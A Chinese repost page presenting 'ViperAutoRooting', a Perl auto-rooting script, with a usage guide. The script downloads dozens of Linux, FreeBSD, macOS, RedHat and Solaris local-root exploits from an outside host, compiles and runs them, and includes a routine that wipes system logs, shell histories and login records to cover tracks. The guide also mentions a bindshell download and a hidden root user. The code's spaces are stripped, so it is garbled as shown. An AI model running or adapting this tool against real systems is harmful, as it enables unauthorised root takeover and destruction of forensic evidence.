失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > php 提权脚本 linux linux 自动提权perl脚本

php 提权脚本 linux linux 自动提权perl脚本

时间:2024-02-01 07:57:53

相关推荐

php 提权脚本 linux linux 自动提权perl脚本

使用demo

yaseng@UAUC:~$ wget /UNIX/penetration/rootkits/var.txt -O root.pl

yaseng@UAUC:~$ perl root.pl

yaseng@UAUC#:help

--------------------------------------------------------

sysline [Go To System Command Line]

varline [Go To var.pl Command Line]

sysinfo [Show System Information]

sysproc [Show Running Proccess's]

config [Show Config File]

logs [Show System Log File]

all [Show All Localroots In Database]

gccinfo [Check For gcc Installed Or Not Installed]

logc [Clear Server Log]

2.2.x [Localroots of 2.2.x]

2.4.x [Localroots of 2.4.x]

2.6.x [Localroots of 2.6.x]

freebsd-x [Localroots of FreeBSD]

mac-os-x [Localroots of MacOS X]

red-x [Localroots of RedHat]

sunos-x [Localroots of Sun Solaris OS]

--------------------------------------------------------

yaseng@UAUC#:

选择对应的版本即可爆菊

其他功能

sysline 进入系统命令模式,在此模式下输入的命令将会是系统命令

varline 进入autoroot.pl命令模式,在此模式下输入的命令是本脚本支持的命令

sysinfo 查看系统信息,如系统变量、内核版本、网络参数

sysproc 查看系统进程信息

logs 查看系统日志文件

all 使用所有EXP进行自动提权

gccinfo 查看gcc编译器信息,如是否安装、安装路径等等

clear 清屏

cleanlog 清除系统日志以及本脚本生成的所有exp

bindshell 下载一个bindshell到/tmp目录下

adduser 添加root权限用户,用户名:toor,在提权成功后使用.

2.2 使用2.2.x版本内核exp进行自动提权

2.4 使用2.4.x版本内核exp进行自动提权

2.6 使用2.6.x版本内核exp进行自动提权

freebsd 使用FreeBSD的内核exp进行自动提权

mac 使用Mac OS的内核进行自动提权

#!/usr/bin/perl

#

#==>>ViperAutoRooting<<==

#

#

#---------------------------------------------------------------------------------------------------------------------------

#Script:Perl

#By:Bl4ck.Viper

#From:Azarbycan(TurkishMan)(fardinAllahverdinajhand)

#Contact:Bl4ck.Viper@,Bl4ck.Viper@,Bl4ck.Viper@

#Version:2.0

#ForBlackHat&RealHackers

#---------------------------------------------------------------------------------------------------------------------------

#---------------------------------------------------------------------------------------------------------------------------

#ForAllVersionOfLinux,SunOS,MacOSX,FreeBSD

#---------------------------------------------------------------------------------------------------------------------------

#

print"\t\t\tViperAutoRooting\n";

print"\t\t\tVersion:2.0\n";

print"\n";

print"\n\n";

print"\t\t------------------------------------\n";

print"\t\t\tCodedByBl4ck.Viper\n";

print"\t\t------------------------------------\n";

print"\t\tForSeeCommandstype[help]:D\n";

print"\n";

command:;

print'Viper@Localr00t#:';

$command=;

if($command=~/help/){

gotohelp

}

if($command=~/sysline/){

gotosysline

}

if($command=~/varline/){

gotovarline

}

if($command=~/gccinfo/){

gotogccinfo

}

if($command=~/sysinfo/){

gotosysinfo

}

if($command=~/logc/){

gotologc

}

if($command=~/config/){

gotoconfig

}

if($command=~/logs/){

gotologs

}

if($command=~/sysproc/){

gotosysproc

}

if($command=~/all/){

gotoall

}

if($command=~/2.2.x/){

gotolocal2

}

if($command=~/2.4.x/){

gotolocal4

}

if($command=~/2.6.x/){

gotolocal6

}

if($command=~/freebsd-x/){

gotofreebsd

}

if($command=~/mac-os-x/){

gotomac

}

if($command=~/red-x/){

gotored

}

if($command=~/sunos-x/){

gotosun

}

else{

print"UnknowCommand!\n";

gotocommand

};

help:;

print"\t--------------------------------------------------------\n";

print"\t\tsysline\t\t[GoToSystemCommandLine]\n";

print"\t\tvarline\t\t[GoTovar.plCommandLine]\n";

print"\t\tsysinfo\t\t[ShowSystemInformation]\n";

print"\t\tsysproc\t\t[ShowRunningProccess's]\n";

print"\t\tconfig\t\t[ShowConfigFile]\n";

print"\t\tlogs\t\t[ShowSystemLogFile]\n";

print"\t\tall\t\t[ShowAllLocalrootsInDatabase]\n";

print"\t\tgccinfo\t\t[CheckForgccInstalledOrNotInstalled]\n";

print"\t\tlogc\t\t[ClearServerLog]\n";

print"\t\t2.2.x\t\t[Localrootsof2.2.x]\n";

print"\t\t2.4.x\t\t[Localrootsof2.4.x]\n";

print"\t\t2.6.x\t\t[Localrootsof2.6.x]\n";

print"\t\tfreebsd-x\t[LocalrootsofFreeBSD]\n";

print"\t\tmac-os-x\t[LocalrootsofMacOSX]\n";

print"\t\tred-x\t\t[LocalrootsofRedHat]\n";

print"\t\tsunos-x\t\t[LocalrootsofSunSolarisOS]\n";

print"\t--------------------------------------------------------\n";

print"\n";

gotocommand;

sysline:;

print"system:";

$systemm=<>;

if($systemm=~/varline/){

gotovarline

}

system("$systemm");

gotosysline;

varline:;

gotocommand;

all:;

printq{

2.2.27

2.2.x

2.42.6

2.4.17

2.4.18

2.4.19

2.4.20

2.4.21

2.4.22

2.4.22-10

2.4.23

2.4.24

2.4.25

2.4.26

2.4.29

2.4.x

2.6.2

2.6.4

2.6.5

2.6.7

2.6.8

2.6.9

2.6.9-22.sh

2.6.9-34

2.6.9-55

2.6.10

2.6.11

2.6.12

2.6.13

2.6.13-17-2

2.6.13-17-3

2.6.14

2.6.15

2.6.16

2.6.17

2.6.x

FreeBSD4.4-4.6

FreeBSD4.8

FreeBSD5.3

MacOSX

red-7.3

red-8.0

red-hat8.0-2

redhat7.0

redhat7.1

SunOS5.7

SunOS5.8

SunOS5.9

SunOS5.10

};

print"\n";

gotocommand;

local2:;

print"\t\tWelcomeTo2.2.xSection\n";

system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/elfcd1.c;gccelfcd1.c-oelfcd1;chmod777elfcd1;./elfcd1");

system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/mremap_pte;chmod777mremap_pte;./mremap_pte");

system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/uselib24;chmod777uselib24;./uselib24");

system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/ptrace24;chmod777ptrace24;./ptrace24");

system("id");

local4:;

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/pwned.c;gccpwned.c-opwned;chmod777pwned;./pwned");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/kmod;chmod777kmod;./kmod");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/newlocal;chmod777newlocal;./newlocal");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/uselib24;chmod777uselib24;./uselib24");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/brk;chmod777brk;./brk");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/brk2;chmod777brk2;./brk2");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/ptrace;chmod777ptrace;./ptrace");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/ptrace-kmod;chmod777ptrace-kmod;./ptrace-kmod");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/2.4.22.c;gcc2.4.22.c-o2.4.22;chmod7772.4.22;./2.4.22");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/loginx;chmod777loginx;./loginx");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/hatorihanzo.c;gcchatorihanzo.c-ohatorihanzo;chmod777hatorihanzo;./hatorihanzo");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/mremap_pte;chmod777mremap_pte;./mremap_pte");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/Linux-kernel-mremap.c;gccLinux-kernel-mremap.c-oLinux-kernel-mremap;chmod777Linux-kernel-mremap;./Linux-kernel-mremap");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/uselib24;chmod777uselib24;./uselib24");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/expand_stack.c;gccexpand_stack.c-oexpand_stack;chmod777expand_stack;./expand_stack");

system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/elflbl;chmod777elflbl;./elflbl");

system("id");

local6:;

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/h00lyshit;chmod777h00lyshit;./h00lyshit");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/krad;chmod777krad;./krad");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/myptrace;chmod777myptrace;./myptrace");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/hudo.c;gcchudo.c-ohudo;chmod777hudo;./hudo");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/05;chmod77705;./05");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/krad2;chmod777krad2;./krad2");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/ong_bak.c;gccong_bak.c-oong_bak;chmod777ong_bak;./ong_bak");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/2.6.9-55--prv8;chmod7772.6.9-55--prv8;./2.6.9-55--prv8");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/04;chmod77704;./04");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/06;chmod77706;./06");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/r00t;chmod777r00t;./r00t");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/uselib24.c;gccuselib24.c-ouselib24;chmod777uselib24;./uselib24");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/2.6.11.c;gcc2.6.11.c-o2.6.11;chmod7772.6.11;./2.6.11");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/k-rad.c;gcck-rad.c-ok-rad;chmod777k-rad;./k-rad");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/k-rad3;chmod777k-rad3;./k-rad3");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/pwned;chmod777pwned;./pwned");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/binfmt_elf.c;gccbinfmt_elf.c-obinfmt_elf;chmod777binfmt_elf;./binfmt_elf");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/elfcd2.c;gccelfcd2.c-oelfcd2;chmod777elfcd2;./elfcd2");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct1;chmod777prct1;./prct1");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct2;chmod777prct2;./prct2");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct3;chmod777prct3;./prct3");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct4;chmod777prct4;./prct4");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct6;chmod777prct6;./prct6");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/raptor;chmod777raptor;./raptor");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/2.6.17;chmod7772.6.17;./2.6.17");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct5.sh;chmod777prct5.sh;./prct5.sh");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/root;chmod777root;./root");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/cw7.3;chmod777cw7.3;./cw7.3");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/x;chmod777x;./x");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/x2;chmod777x2;./x2");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/exp.sh;chmod777exp.sh;./exp.sh");

system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/root2;chmod777root2;./root2");

system("id");

freebsd:;

system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/bsd;chmod777bsd;./bsd");

system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/48local;chmod77748local;./48local");

system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/exploit;chmod777exploit;./exploit");

system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/freedbs5.3;chmod777freedbs5.3;./freedbs5.3");

system("id");

mac:;

system("cd/tmp;mkdirmac;chmod777mac;cdmac;wgethttp://www.bl4ck-/p8/localroots/mac/macosX;chmod777macosX;./macosX");

system("id");

red:;

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/afd-expl.c;gccafd-expl.c-oafd-expl;chmod777afd-expl;./afd-expl");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/alsaplayer-suid.c;gccalsaplayer-suid.c-oalsaplayer-suid;chmod777alsaplayer-suid;./alsaplayer-suid");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/nslconf.c;gccnslconf.c-onslconf;chmod777nslconf;./nslconf");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/ohMy-another-efs;chmod777ohMy-another-efs;./ohMy-another-efs");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/0x82-Remote.tannehehe.xpl.c;gcc0x82-Remote.tannehehe.xpl.c-o0x82-Remote.tannehehe.xpl;chmod7770x82-Remote.tannehehe.xpl;./0x82-Remote.tannehehe.xpl");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/efs_local;chmod777efs_local;./efs_local");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/ifenslave;chmod777ifenslave;./ifenslave");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/crontab.c;gcccrontab.c-ocrontab;chmod777crontab;./crontab");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/epcs2.c;gccepcs2.c-oepcs2;chmod777epcs2;./epcs2");

system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/rh71sm8.c;gccrh71sm8.c-orh71sm8;chmod777rh71sm8;./rh71sm8");

system("id");

sun:;

system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/solaris27;chmod777solaris27;./solaris27");

system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/final;chmod777final;./final");

system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/sunos59;chmod777sunos59;./sunos59");

system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/sunos510.c;gccsunos510.c-osunos510;chmod777sunos510;./sunos510");

system("id");

sysinfo:;

system("dmesg");

print"\n\n";

system("set");

print"\n\n";

system("uname-a");

print"\n\n";

system("uname-r");

print"\n\n";

system("ifconfig");

print"\n\n";

gotocommand;

gccinfo:;

system("locategcc");

print"\n\n";

gotocommand;

sysproc:;

system("psaux");

print"\n\n";

gotocommand;

logc:;

system("rm-rf/tmp/logs");

system("rm-rf$HISTFILE");

system("rm-rf/root/.ksh_history");

system("rm-rf/root/.bash_history");

system("rm-rf/root/.bash_logout");

system("rm-rf/usr/local/apache/logs");

sleep(2);

system("rm-rf/usr/local/apache/log");

system("rm-rf/var/apache/logs");

system("rm-rf/var/apache/log");

system("rm-rf/var/run/utmp");

system("rm-rf/var/logs");

system("rm-rf/var/log");

sleep(2);

system("rm-rf/var/adm");

system("rm-rf/etc/wtmp");

system("rm-rf/etc/utmp");

print"\n";

print"Done!";

gotocommand;

logs:;

print"\n";

system("cat/etc/syslog.conf");

print"\n\n";

gotocommand;

config:;

print"\n";

system("cat./../mainfile.php");

print"\n\n";

gotocommand;

如果觉得《php 提权脚本 linux linux 自动提权perl脚本》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。